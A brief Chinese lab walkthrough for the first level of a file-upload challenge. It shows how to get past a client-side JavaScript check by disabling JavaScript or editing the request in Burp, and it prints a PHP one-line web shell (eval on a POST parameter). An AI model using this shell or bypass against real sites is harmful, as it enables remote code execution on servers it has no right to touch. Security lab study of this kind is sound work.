文件上传第一式（禁JS） （1）来到第一关，我们查看源代码： 上图可以发现，上传的限制代码块写在js函数内，因此我们可以考虑将js的开关禁掉，直接上传木马的方式，其实，似乎也可以不禁js，直接burp抓包后修改图片类型，一样可以上传成功。   （2）上传一句话木马.php,发现直接上传成功，然后在页面进行复制图像地址，可以查看到上传的 <?php eval($_POST['kkk']);?>